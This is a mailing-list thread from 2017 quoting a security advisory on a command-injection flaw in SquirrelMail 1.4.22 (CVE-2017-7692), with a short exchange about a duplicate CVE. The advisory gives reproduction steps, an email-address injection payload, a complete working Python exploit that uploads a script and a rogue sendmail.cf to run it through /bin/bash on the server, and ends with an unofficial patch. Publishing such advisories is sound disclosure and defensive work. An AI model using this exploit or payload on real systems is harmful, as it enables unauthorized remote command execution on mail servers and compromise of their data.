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Date: Wed, 19 Apr 2017 17:40:11 +0200
From: Filippo Cavallarin <filippo.cavallarin@...resegment.com>
To: Dawid Golunski <dawid@...alhackers.com>
Cc: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: Re: [FD] CVE-2017-7692: Squirrelmail 1.4.22 Remote Code Execution

Hi Dawid,
I tried quite hard to contact the vendor but without success, then I decided to release all the details and a fix..
I think the CVE I got should be rejected and marked as duplicate, but I don't know how to handle situations like this.. any idea?
In the meantime, do you want me to put your name in the credits on my website?

Best,
Filippo

> On 19 Apr 2017, at 16:36, Dawid Golunski <dawid@...alhackers.com> wrote:
> 
> Hi Filippo,
> 
> I actually reported this vulnerability to the vendor at the beginning
> of this year.  I also got the following CVEID assigned for it in
> January: CVE-2017-5181.
> I was waiting on the vendor to patch the vulnerability since then
> before I publish the details.
> 
> Has he got back to you?
> 
> 
> 
> 
> On Wed, Apr 19, 2017 at 10:07 AM, Filippo Cavallarin
> <filippo.cavallarin@...resegment.com> wrote:
>> Advisory ID:           SGMA17-001
>> Title:                 Squirrelmail Remote Code Execution
>> Product:               Squirrelmail
>> Version:               1.4.22 and probably prior
>> Vendor:                squirrelmail.org
>> Type:                  Command Injection
>> Risk level:            4 / 5
>> Credit:                filippo.cavallarin@...resegment.com
>> CVE:                   CVE-2017-7692
>> Vendor notification:   2017-04-04
>> Vendor fix:            N/A
>> Public disclosure:     2017-04-19
>> 
>> 
>> 
>> 
>> DETAILS
>> 
>> Squirrelmail version 1.4.22 (and probably prior) is vulnerable to a remote code execution vulnerability because
>> it fails to sanitize a string before passing it to a popen call. It's possible to exploit this vulnerability to
>> execute arbitrary shell commands on the remote server.
>> 
>> The problem is in Deliver_SendMail.class.php on initStream function that uses escapeshellcmd() to sanitize the
>> sendmail command before executing it. The use of escapeshellcmd() is not correct in this case since it don't
>> escapes whitespaces allowing the injection of arbitrary command parameters.
>> 
>>      $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>>      $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>> 
>> 
>> The $envelopefrom variable is controlled by the attacker, hence it's possible to trick sendmail to use an
>> attacker-provided configuration file that triggers the execution of an arbitrary command.
>> 
>> In order to exploit this vulnerability the MTA in use must be sendmail and Squirrelmail must be configured
>> to use it as commandline (useSendmail directive of the config file set to true).
>> Also, the edit_identity directive of the config file must be bet to true, but this is the default configuration.
>> 
>> To reproduce the issue follow these steps:
>>        1. Create a rogue sendmail.cf that triggers the execution of a /usr/bin/touch:
>>                [...]
>>                Mlocal,         P=/usr/bin/touch, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>>                T=DNS/RFC822/X-Unix,
>>                A=X /tmp/executed
>>        2. Upload it as a mail attachment and get it's remote name (ex: lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD)
>>        3. Go to Options -> Personal Informations and set the following payload as Email Address:
>>                <aaa@....com -OQueueDirectory=/tmp  -C /var/local/squirrelmail/attach/lF51mGPJwdqzV3LEDlCdSVNpohzgF7sD>
>>        4. Send an email
>>        5. Verify the execution of the command with "ls /tmp/executed" on the remote server
>> 
>> 
>> 
>> 
>> PROOF OF CONCEPT
>> 
>> The followig python script exploits this vulnerability to execute an attacker provided bash script on the remote server.
>> 
>> BOF
>> #!/usr/bin/env python
>> # -*- coding: utf-8 -*-
>> 
>> """
>> 
>> SquirrelMail 1.4.22 Remote Code Execution (authenticated)
>> Exploit code for CVE-2017-7692
>> filippo.cavallarin@...resegment.com
>> 
>> """
>> 
>> from __future__ import unicode_literals
>> import sys
>> import os
>> import re
>> import requests
>> 
>> reload(sys)
>> sys.setdefaultencoding('utf8')
>> 
>> 
>> SENDMAILCF="/tmp/squirrelmail1_4_22-sendmailcf-rce"
>> COMPOSE = "/src/compose.php"
>> INFOS = "/src/options.php?optpage=personal"
>> SQM_ATTACH_PATH = "/var/local/squirrelmail/attach/"
>> # must be enclosed in <> otherwise spaces will be removed ..
>> SENDER = "<px@...x.com -OQueueDirectory=/tmp  -C %s%s>"
>> 
>> 
>> SESSID = ""
>> BASEURL = ""
>> 
>> 
>> def attach(attachment):
>>  url = "%s%s" % (BASEURL, COMPOSE)
>>  token = get_csrf_token(url)
>> 
>>  values = {
>>    "smtoken": token,
>>    "attach": "add"
>>  }
>> 
>>  try:
>>    files = {'attachfile': open(attachment,'rb')}
>>    resp = requests.post(url, files=files, data=values, cookies={'SQMSESSID':SESSID})
>>    fname = re.search(r'att_local_name&quot;;s:[0-9]+:&quot;([a-zA-Z0-9]+)&quot;', resp.text)
>>    if not fname:
>>      print "\nError: unable to upload file %s" % attachment
>>    return fname.group(1)
>> 
>>  except Exception as e:
>>    print "\nError: %s" % e
>>    sys.exit(1)
>> 
>> 
>> def send():
>>  url = "%s%s" % (BASEURL, COMPOSE)
>>  token = get_csrf_token(url)
>> 
>>  values = {
>>    "smtoken": token,
>>    "send_to": "root",
>>    "send": "Send"
>>  }
>> 
>>  try:
>>    resp = requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>>  except Exception as e:
>>    print "\nError: %s" % e
>>    sys.exit(1)
>> 
>> 
>> def set_identity(sender):
>>  url = "%s%s" % (BASEURL, INFOS)
>>  token = get_csrf_token(url)
>>  values = {
>>    "smtoken": token,
>>    "optpage": "personal",
>>    "optmode": "submit",
>>    "new_email_address": sender,
>>    "submit_personal": "Submit"
>>  }
>> 
>>  try:
>>    requests.post(url, data=values, cookies={'SQMSESSID':SESSID})
>>  except Exception as e:
>>    print "\nError: %s" % e
>>    sys.exit(1)
>> 
>> 
>> def get_csrf_token(url):
>>  try:
>>    body = requests.get(url, cookies={'SQMSESSID':SESSID}).text
>>    inp = re.search(r'<input.*name="smtoken".*>', body, re.MULTILINE)
>>    token = re.search(r'value="([a-zA-Z0-9]+)"', inp.group(0))
>>    if token:
>>      return token.group(1)
>>  except Exception as e:
>>    pass
>> 
>>  print "\nUnable to get CSRF token"
>>  sys.exit(1)
>> 
>> def outw(s):
>>  sys.stdout.write(s)
>>  sys.stdout.flush()
>> 
>> def main(argv):
>>  global BASEURL
>>  global SESSID
>> 
>>  if len(argv) != 4:
>>    print (
>>        "SquirrelMail 1.4.22 Remote Code Execution (authenticated) - filippo.cavallarin@...resegment.com\n"
>>        "The target server must use sendmail and squirrelmail must be configured to use /usr/bin/sendmail\n"
>>        "Usage:\n"
>>        "  %s <url> <session_id> <script>\n"
>>        "      url: the url of squirrelmail\n"
>>        "      session_id: the value of SQMSESSID cookie\n"
>>        "      script: the path to the bash script to be executed on the target\n"
>>        "Example:\n"
>>        "  %s http:/example.com/squirrelmail/ l2rapvcovsui1on0b4i5boev24 reverseshell.sh"
>>      ) % (argv[0], argv[0])
>> 
>>    sys.exit(1)
>> 
>>  BASEURL = argv[1]
>>  SESSID = argv[2]
>>  script = argv[3]
>> 
>>  outw("Uploading script ... ")
>>  script_fname = attach(script)
>>  print "ok"
>> 
>> 
>>  outw("Generating sendmail.cf ... ")
>>  try:
>>    script_path = "%s%s" % (SQM_ATTACH_PATH, script_fname)
>>    with open(SENDMAILCF, 'w') as f:
>>      f.write(SENDMAILCF_CONTENT % script_path)
>>  except Exception as e:
>>    print "\nError: %s" % e
>>    sys.exit(1)
>>  print "ok"
>> 
>>  outw("Uploading sendmail.cf ... ")
>>  smc_fname = attach(SENDMAILCF)
>>  os.remove(SENDMAILCF)
>>  print "ok"
>> 
>>  outw("Updating user options ... ")
>>  sender = SENDER % (SQM_ATTACH_PATH, smc_fname)
>>  set_identity(sender)
>>  print "ok"
>> 
>>  outw("Checking identity field ... ")
>>  icheck = requests.get("%s%s" % (BASEURL, INFOS), cookies={'SQMSESSID':SESSID}).text
>>  if not smc_fname in icheck:
>>    print "\nError: unable to set identity field .. maybe squirrelmail is configured with edit_identity=false"
>>    sys.exit(1)
>>  print "ok"
>> 
>>  outw("Executing script ... ")
>>  send()
>>  print "ok\n"
>>  sys.exit(0)
>> 
>> SENDMAILCF_CONTENT = """
>> O DontBlameSendmail=,AssumeSafeChown,ForwardFileInGroupWritableDirPath,GroupWritableForwardFileSafe,GroupWritableIncludeFileSafe,IncludeFileInGroupWritableDirPath,DontWarnForwardFileInUnsafeDirPath,TrustStickyBit,NonRootSafeAddr,GroupWritableIncludeFile,GroupReadableDefaultAuthInfoFile
>> Kdequote dequote
>> Scanonify=3
>> R$@     $@ <@>
>> R$*     $: $1 <@>     mark addresses
>> R$* < $* > $* <@> $: $1 < $2 > $3     unmark <addr>
>> R@ $* <@>   $: @ $1       unmark @host:...
>> R$* [ IPv6 : $+ ] <@> $: $1 [ IPv6 : $2 ]   unmark IPv6 addr
>> R$* :: $* <@>   $: $1 :: $2     unmark node::addr
>> R:include: $* <@> $: :include: $1     unmark :include:...
>> R$* : $* [ $* ]   $: $1 : $2 [ $3 ] <@>   remark if leading colon
>> R$* : $* <@>    $: $2       strip colon if marked
>> R$* <@>     $: $1       unmark
>> R$* ;        $1       strip trailing semi
>> R$* < $+ :; > $*  $@ $2 :; <@>      catch <list:;>
>> R$* < $* ; >       $1 < $2 >      bogus bracketed semi
>> R$@     $@ :; <@>
>> R$*     $: < $1 >     housekeeping <>
>> R$+ < $* >       < $2 >     strip excess on left
>> R< $* > $+       < $1 >     strip excess on right
>> R<>     $@ < @ >      MAIL FROM:<> case
>> R< $+ >     $: $1       remove housekeeping <>
>> R@ $+ , $+    $2
>> R@ [ $* ] : $+    $2
>> R@ $+ : $+    $2
>> R $+ : $* ; @ $+  $@ $>Canonify2 $1 : $2 ; < @ $3 > list syntax
>> R $+ : $* ;   $@ $1 : $2;     list syntax
>> R$+ @ $+    $: $1 < @ $2 >      focus on domain
>> R$+ < $+ @ $+ >   $1 $2 < @ $3 >      move gaze right
>> R$+ < @ $+ >    $@ $>Canonify2 $1 < @ $2 >  already canonical
>> R$- ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  resolve uucp names
>> R$+ . $- ! $+   $@ $>Canonify2 $3 < @ $1 . $2 >   domain uucps
>> R$+ ! $+    $@ $>Canonify2 $2 < @ $1 .UUCP >  uucp subdomains
>> R$* %% $*   $1 @ $2       First make them all @s.
>> R$* @ $* @ $*   $1 %% $2 @ $3     Undo all but the last.
>> R$* @ $*    $@ $>Canonify2 $1 < @ $2 >  Insert < > and finish
>> R$*     $@ $>Canonify2 $1
>> SCanonify2=96
>> R$* < @ localhost > $*    $: $1 < @ $j . > $2   no domain at all
>> R$* < @ localhost . $m > $* $: $1 < @ $j . > $2   local domain
>> R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2   .UUCP domain
>> R$* < @ [ $+ ] > $*   $: $1 < @@ [ $2 ] > $3    mark [addr]
>> R$* < @@ $=w > $*   $: $1 < @ $j . > $3   self-literal
>> R$* < @@ $+ > $*    $@ $1 < @ $2 > $3   canon IP addr
>> Sfinal=4
>> R$+ :; <@>    $@ $1 :       handle <list:;>
>> R$* <@>     $@        handle <> and list:;
>> R$* < @ $+ . > $* $1 < @ $2 > $3
>> R$* < @ *LOCAL* > $*  $1 < @ $j > $2
>> R$* < $+ > $*   $1 $2 $3      defocus
>> R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3    <route-addr> canonical
>> R@ $*     $@ @ $1       ... and exit
>> R$+ @ $- . UUCP   $2!$1       u@...UCP => h!u
>> R$+ %% $=w @ $=w    $1 @ $2       u%%host@...t => u@...t
>> SRecurse=97
>> R$*     $: $>canonify $1
>> R$*     $@ $>parse $1
>> Sparse=0
>> R$*     $: $>Parse0 $1    initial parsing
>> R<@>      $#local $: <@>    special case error msgs
>> R$*     $: $>ParseLocal $1  handle local hacks
>> R$*     $: $>Parse1 $1    final parsing
>> SParse0
>> R<@>      $@ <@>      special case error msgs
>> R$* : $* ; <@>    $#error $@ 5.1.3 $: "553 List:; syntax illegal for recipient addresses"
>> R@ <@ $* >    < @ $1 >    catch "@...st" bogosity
>> R<@ $+>     $#error $@ 5.1.3 $: "553 User address required"
>> R$+ <@>     $#error $@ 5.1.3 $: "553 Hostname required"
>> R$*     $: <> $1
>> R<> $* < @ [ $* ] : $+ > $* $1 < @ [ $2 ] : $3 > $4
>> R<> $* < @ [ $* ] , $+ > $* $1 < @ [ $2 ] , $3 > $4
>> R<> $* < @ [ $* ] $+ > $* $#error $@ 5.1.2 $: "553 Invalid address"
>> R<> $* < @ [ $+ ] > $*    $1 < @ [ $2 ] > $3
>> R<> $* <$* : $* > $*  $#error $@ 5.1.3 $: "553 Colon illegal in host name part"
>> R<> $*      $1
>> R$* < @ . $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>> R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "553 Invalid host name"
>> R$* < @ $* @ > $* $#error $@ 5.1.2 $: "553 Invalid route address"
>> R$* @ $* < @ $* > $*  $#error $@ 5.1.3 $: "553 Invalid route address"
>> R$* , $~O $*    $#error $@ 5.1.3 $: "553 Invalid route address"
>> R$* < @ > $*    $@ $>Parse0 $>canonify $1 user@ => user
>> R< @ $=w . > : $* $@ $>Parse0 $>canonify $2 @here:... -> ...
>> R$- < @ $=w . >   $: $(dequote $1 $) < @ $2 . > dequote "foo"@...e
>> R< @ $+ >   $#error $@ 5.1.3 $: "553 User address required"
>> R$* $=O $* < @ $=w . >  $@ $>Parse0 $>canonify $1 $2 $3 ...@...e -> ...
>> R$-       $: $(dequote $1 $) < @ *LOCAL* >  dequote "foo"
>> R< @ *LOCAL* >    $#error $@ 5.1.3 $: "553 User address required"
>> R$* $=O $* < @ *LOCAL* >
>>      $@ $>Parse0 $>canonify $1 $2 $3 ...@...CAL* -> ...
>> R$* < @ *LOCAL* > $: $1
>> SParse1
>> R$* < @ [ $+ ] > $* $: $>ParseLocal $1 < @ [ $2 ] > $3  numeric internet spec
>> R$* < @ [ $+ ] > $* $: $1 < @ [ $2 ] : $S > $3  Add smart host to path
>> R$* < @ [ $+ ] : > $*   $#esmtp $@ [$2] $: $1 < @ [$2] > $3 no smarthost: send
>> R$* < @ [ $+ ] : $- : $*> $*  $#$3 $@ $4 $: $1 < @ [$2] > $5  smarthost with mailer
>> R$* < @ [ $+ ] : $+ > $*  $#esmtp $@ $3 $: $1 < @ [$2] > $4 smarthost without mailer
>> R$=L < @ $=w . >  $#local $: @ $1     special local names
>> R$+ < @ $=w . >   $#local $: $1     regular local name
>> R$* < @ $* > $*   $: $>MailerToTriple < $S > $1 < @ $2 > $3 glue on smarthost name
>> R$* < @$* > $*    $#esmtp $@ $2 $: $1 < @ $2 > $3 user@...t.domain
>> R$=L      $#local $: @ $1   special local names
>> R$+     $#local $: $1     regular local names
>> SLocal_localaddr
>> Slocaladdr=5
>> R$+     $: $1 $| $>"Local_localaddr" $1
>> R$+ $| $#ok   $@ $1     no change
>> R$+ $| $#$*   $#$2
>> R$+ $| $*   $: $1
>> R$+ + *     $#local $@ $&h $: $1
>> R$+ + $*    $#local $@ + $2 $: $1 + *
>> R$+     $: <> $1
>> R< > $+     $: < > < $1 <> $&h >    nope, restore +detail
>> R< > < $+ <> + $* > $: < > < $1 + $2 >    check whether +detail
>> R< > < $+ <> $* > $: < > < $1 >     else discard
>> R< > < $+ + $* > $*    < > < $1 > + $2 $3   find the user part
>> R< > < $+ > + $*  $#local $@ $2 $: @ $1   strip the extra +
>> R< > < $+ >   $@ $1       no +detail
>> R$+     $: $1 <> $&h      add +detail back in
>> R$+ <> + $*   $: $1 + $2      check whether +detail
>> R$+ <> $*   $: $1       else discard
>> R< local : $* > $*  $: $>MailerToTriple < local : $1 > $2 no host extension
>> R< error : $* > $*  $: $>MailerToTriple < error : $1 > $2 no host extension
>> R< $~[ : $+ > $+  $: $>MailerToTriple < $1 : $2 > $3 < @ $2 >
>> R< $+ > $+    $@ $>MailerToTriple < $1 > $2 < @ $1 >
>> SParseLocal=98
>> SEnvFromL
>> R<@>      $n      errors to mailer-daemon
>> R@ <@ $*>   $n      temporarily bypass Sun bogosity
>> R$+     $: $>AddDomain $1 add local domain if needed
>> R$*     $: $>MasqEnv $1   do masquerading
>> SEnvToL
>> R$+ < @ $* >    $: $1     strip host part
>> R$+ + $*    $: < $&{addr_type} > $1 + $2  mark with addr type
>> R<e s> $+ + $*    $: $1     remove +detail for sender
>> R< $* > $+    $: $2     else remove mark
>> SHdrFromL
>> R<@>      $n      errors to mailer-daemon
>> R@ <@ $*>   $n      temporarily bypass Sun bogosity
>> R$+     $: $>AddDomain $1 add local domain if needed
>> R$*     $: $>MasqHdr $1   do masquerading
>> SHdrToL
>> R$+     $: $>AddDomain $1 add local domain if needed
>> R$*     $: $>MasqHdr $1   do all-masquerading
>> SAddDomain
>> R$* < @ $* > $*   $@ $1 < @ $2 > $3 already fully qualified
>> R$+     $@ $1 < @ *LOCAL* > add local qualification
>> Mlocal,   P=/bin/bash, F=lsDFMAw5:/|@...9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
>>    T=DNS/RFC822/X-Unix,
>>    A=X %s
>> Mprog,    P=/bin/sh, F=lsDFMoqeu9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, D=$z:/,
>>    T=X-Unix/X-Unix/X-Unix,
>>    A=sh -c $u
>> 
>> """
>> 
>> if __name__ == '__main__':
>>  main(sys.argv)
>> 
>> EOF
>> 
>> 
>> 
>> 
>> SOLUTION
>> 
>> Since the vendor did not respond to our mails, no official fix is available.
>> However, the following unofficial patch can be used to fix this vulnerability.
>> 
>> BOF
>> diff -ruN squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php
>> --- squirrelmail-webmail-1.4.22/class/deliver/Deliver_SendMail.class.php  2011-01-06 02:44:03.000000000 +0000
>> +++ squirrelmail-webmail-1.4.22-fix-CVE-2017-7692/class/deliver/Deliver_SendMail.class.php  2017-04-18 11:42:26.505181944 +0000
>> @@ -93,9 +93,9 @@
>>         $envelopefrom = trim($from->mailbox.'@...from->host);
>>         $envelopefrom = str_replace(array("\0","\n"),array('',''),$envelopefrom);
>>         // save executed command for future reference
>> -        $this->sendmail_command = "$sendmail_path $this->sendmail_args -f$envelopefrom";
>> +        $this->sendmail_command = escapeshellcmd("$sendmail_path $this->sendmail_args -f") . escapeshellarg($envelopefrom);
>>         // open process handle for writing
>> -        $stream = popen(escapeshellcmd($this->sendmail_command), "w");
>> +        $stream = popen($this->sendmail_command, "w");
>>         return $stream;
>>     }
>> EOF
>> 
>> 
>> 
>> 
>> REFERENCES
>> 
>> https://squirrelmail.org/
>> https://www.wearesegment.com/research/Squirrelmail-Remote-Code-Execution.html
>> 
>> 
> 
> 
> 
> -- 
> Regards,
> Dawid Golunski
> https://legalhackers.com
> t: @dawid_golunski


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